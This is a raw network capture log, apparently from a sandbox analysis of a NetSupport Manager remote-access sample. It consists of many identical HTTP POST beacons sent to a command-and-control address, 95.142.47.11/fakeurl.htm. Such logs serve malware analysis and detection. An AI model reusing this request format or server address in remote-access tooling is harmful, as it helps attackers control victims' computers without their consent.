Dec 6, 2023 14:36:00.915787935 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:01.016777992 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:01.116897106 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:01.223054886 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:01.322915077 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:01.423901081 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:01.525547028 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:01.625889063 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:01.726054907 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:01.826719046 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:01.926698923 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:02.026802063 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:02.126837015 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:02.227710009 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:02.328880072 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:02.429678917 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:02.529670954 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:02.629929066 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:02.730746031 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:02.830743074 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:02.931751966 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:03.031929970 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:03.132925987 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:03.236440897 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:03.335927010 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:03.436769962 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:03.537733078 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:03.639102936 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:03.742677927 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:03.843770981 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:03.943939924 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:04.044941902 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:04.146017075 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:04.246809959 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:04.346924067 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:04.446899891 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:04.547714949 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:04.647948980 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:04.748754978 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:04.848921061 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:04.949706078 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:05.049916029 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:05.150758028 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:05.251682043 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:05.351950884 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:05.452897072 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:05.554047108 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:05.654690027 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:05.755675077 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:05.855658054 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:05.958151102 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:06.058679104 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:06.158668041 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:06.259007931 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:06.359703064 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:06.459690094 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:06.559963942 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:06.660702944 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:06.760711908 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:06.861696959 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:06.961683989 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:07.061701059 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:07.162703991 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:07.262782097 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:07.363955975 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:07.463887930 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:07.564672947 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:07.664910078 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:07.764992952 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:07.864959955 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:07.966130972 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:08.066724062 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:08.166712046 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:08.266937017 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:08.367835999 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:08.468102932 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:08.567738056 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:08.668811083 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:08.769902945 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:08.869698048 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:08.969700098 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:09.069936991 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:09.170679092 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:09.271739006 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:09.371678114 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:09.472665071 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:09.572961092 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:09.673712015 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:09.773710012 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:09.874089003 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:09.975019932 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:10.075031996 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:10.175803900 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
